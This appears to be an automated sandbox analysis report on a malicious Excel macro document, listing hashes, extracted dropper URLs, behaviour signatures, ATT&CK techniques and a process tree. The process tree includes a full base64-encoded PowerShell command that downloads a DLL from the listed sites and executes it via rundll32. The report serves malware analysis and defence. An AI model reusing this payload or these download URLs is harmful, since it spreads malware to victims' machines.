f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e

General

Target

f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls
Size

144KB
MD5

63fe243ac27e3b363df51db0bbac1c08
SHA1

40319f467812d05e5a9eb20ac42e22781420216c
SHA256

f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e
SHA512

1b8d6caf9dbf6c3617a1b182f02ed937c712d59f8d906a2d75617675375f9047824ee9ed3c73bb8c9ba8d7d048c872d57b69584d9dd7bb0a8a11765834822bb5
SSDEEP

3072:T7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIKGxS:/cKoSsxzNDZLDZjlbR868O8K0c03D38p

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://althyplane.com/wp-admin/ELWa8YcOqlJn/

exe.dropper

http://dreamdancefactory.clnetworktv.com/zegsgpzq/CT75/

exe.dropper

http://ajkersomaj.com/wp-admin/ThBwKpUbIffmrepRg/

exe.dropper

http://1asehrgut.com/dup-installer/3vESrkJAS97l/

exe.dropper

http://dreamcityloveaffair.com/60bv5/RG9Kb1qRlQ/

exe.dropper

http://dreamproductionsfl.com/tmw8t/Szjjcj5mU1ZA/

exe.dropper

http://dreamcityimprov.com/d5759pd/yzbV45v1nY/

exe.dropper

http://delmarpropertyservices.com/nw1t8jj/NUrSuFyX6P/

exe.dropper

http://batumi4u.com/nwj7iw/jgiK2uwhsu/

exe.dropper

http://blasieholmen-staging.tokig.site/b/SOcGvzIi31HDg/

exe.dropper

http://climate.thecedarcentre.org/cgi-bin/3eseeNZ/

exe.dropper

http://changeyourcommunitynow.com/s1hf7qm/TqcrwYcOiqV8fWA/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3560	1980	cmd.exe	82

Blocklisted process makes network request 8 IoCs

flow	pid	Process
22	644	powershell.exe
25	644	powershell.exe
36	644	powershell.exe
39	644	powershell.exe
43	644	powershell.exe
47	644	powershell.exe
49	644	powershell.exe
51	644	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1980	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
644	powershell.exe
644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 3560	1980	EXCEL.EXE	87
PID 1980 wrote to memory of 3560	1980	EXCEL.EXE	87
PID 3560 wrote to memory of 644	3560	cmd.exe	89
PID 3560 wrote to memory of 644	3560	cmd.exe	89
PID 644 wrote to memory of 228	644	powershell.exe	102
PID 644 wrote to memory of 228	644	powershell.exe	102
PID 644 wrote to memory of 228	644	powershell.exe	102

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\cbjwektde.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYQBsAHQAaAB5AHAAbABhAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBMAFcAYQA4AFkAYwBPAHEAbABKAG4ALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAGQAYQBuAGMAZQBmAGEAYwB0AG8AcgB5AC4AYwBsAG4AZQB0AHcAbwByAGsAdAB2AC4AYwBvAG0ALwB6AGUAZwBzAGcAcAB6AHEALwBDAFQANwA1AC8ALABoAHQAdABwADoALwAvAGEAagBrAGUAcgBzAG8AbQBhAGoALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFQAaABCAHcASwBwAFUAYgBJAGYAZgBtAHIAZQBwAFIAZwAvACwAaAB0AHQAcAA6AC8ALwAxAGEAcwBlAGgAcgBnAHUAdAAuAGMAbwBtAC8AZAB1AHAALQBpAG4AcwB0AGEAbABsAGUAcgAvADMAdgBFAFMAcgBrAEoAQQBTADkANwBsAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGwAbwB2AGUAYQBmAGYAYQBpAHIALgBjAG8AbQAvADYAMABiAHYANQAvAFIARwA5AEsAYgAxAHEAUgBsAFEALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwBmAGwALgBjAG8AbQAvAHQAbQB3ADgAdAAvAFMAegBqAGoAYwBqADUAbQBVADEAWgBBAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGkAbQBwAHIAbwB2AC4AYwBvAG0ALwBkADUANwA1ADkAcABkAC8AeQB6AGIAVgA0ADUAdgAxAG4AWQAvACwAaAB0AHQAcAA6AC8ALwBkAGUAbABtAGEAcgBwAHIAbwBwAGUAcgB0AHkAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBuAHcAMQB0ADgAagBqAC8ATgBVAHIAUwB1AEYAeQBYADYAUAAvACwAaAB0AHQAcAA6AC8ALwBiAGEAdAB1AG0AaQA0AHUALgBjAG8AbQAvAG4AdwBqADcAaQB3AC8AagBnAGkASwAyAHUAdwBoAHMAdQAvACwAaAB0AHQAcAA6AC8ALwBiAGwAYQBzAGkAZQBoAG8AbABtAGUAbgAtAHMAdABhAGcAaQBuAGcALgB0AG8AawBpAGcALgBzAGkAdABlAC8AYgAvAFMATwBjAEcAdgB6AEkAaQAzADEASABEAGcALwAsAGgAdAB0AHAAOgAvAC8AYwBsAGkAbQBhAHQAZQAuAHQAaABlAGMAZQBkAGEAcgBjAGUAbgB0AHIAZQAuAG8AcgBnAC8AYwBnAGkALQBiAGkAbgAvADMAZQBzAGUAZQBOAFoALwAsAGgAdAB0AHAAOgAvAC8AYwBoAGEAbgBnAGUAeQBvAHUAcgBjAG8AbQBtAHUAbgBpAHQAeQBuAG8AdwAuAGMAbwBtAC8AcwAxAGgAZgA3AHEAbQAvAFQAcQBjAHIAdwBZAGMATwBpAHEAVgA4AGYAVwBBAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\768152452.dll,f73790214
      4⤵
      System Location Discovery: System Language Discovery
      PID:228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsfoifmo.dlt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
a8e5125d2d0fc55b3ce28bfe41ab912d

SHA1
b84feed6e1d42b06b35f27928e779674a70a3cd8

SHA256
12676f1da8a1f141a153fbb2c1ca0e8b29207adbadd242279aa16687072feaf2

SHA512
7576e752b5568955bc1d2735f6df123e1f50339be02e6ac7dcb21cfe6ea2992b3bca48d9cdfd1a6e66e5207cf5b593a4d668145dfab4ea5195c9c9cead65eced

Download Submit
C:\programdata\cbjwektde.bat

Filesize
3KB

MD5
a90319111c2f42a9c83a3a2bc2613d74

SHA1
bf1171da149442a511a946ded726b94c1ad7cf85

SHA256
763706fce04801df0720ca67b0905876ddf4f3fc1aedbbd1d032e96b227a6e51

SHA512
1358cf85166ea3a135425e7aa274ab66dd21605f3635c5260fd35e5134ef9698ea5b38df21721aaa72040d6f2506f5b3e926a72698dec56191d8079e3511ffe7

Download Submit
\??\c:\programdata\768152452.dll

Filesize
78KB

MD5
8eab8e846d9b913068a1cf73cb18a28f

SHA1
5cc18dd51d120383a1636285e6b970d3bea2759e

SHA256
ef7071fc0722aaca21c7e41c378ecf4bb23296c882bebf9b4124ecde84ee0a35

SHA512
55fedff400d15d34b7a01cb252310bf95b5585cc1449993236ea9aed488182f6ae59f4575e74c4ffb65cda08721ac5e52d89d60b852aece37bc8c99fbf64a646

Download Submit
memory/644-113-0x0000016AFBBE0000-0x0000016AFC386000-memory.dmp

Filesize
7.6MB

Download
memory/644-90-0x0000016AFAEF0000-0x0000016AFAF12000-memory.dmp

Filesize
136KB

Download
memory/1980-11-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-66-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-1-0x00007FFE4C5ED000-0x00007FFE4C5EE000-memory.dmp

Filesize
4KB

Download
memory/1980-12-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-10-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-14-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-13-0x00007FFE0A260000-0x00007FFE0A270000-memory.dmp

Filesize
64KB

Download
memory/1980-9-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-15-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-17-0x00007FFE0A260000-0x00007FFE0A270000-memory.dmp

Filesize
64KB

Download
memory/1980-16-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-8-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

Filesize
64KB

Download
memory/1980-29-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-30-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-76-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-7-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-6-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-5-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-2-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

Filesize
64KB

Download
memory/1980-95-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-96-0x00007FFE4C5ED000-0x00007FFE4C5EE000-memory.dmp

Filesize
4KB

Download
memory/1980-97-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-98-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-99-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-100-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-107-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

Filesize
2.0MB

Download
memory/1980-0-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

Filesize
64KB

Download
memory/1980-3-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

Filesize
64KB

Download
memory/1980-4-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads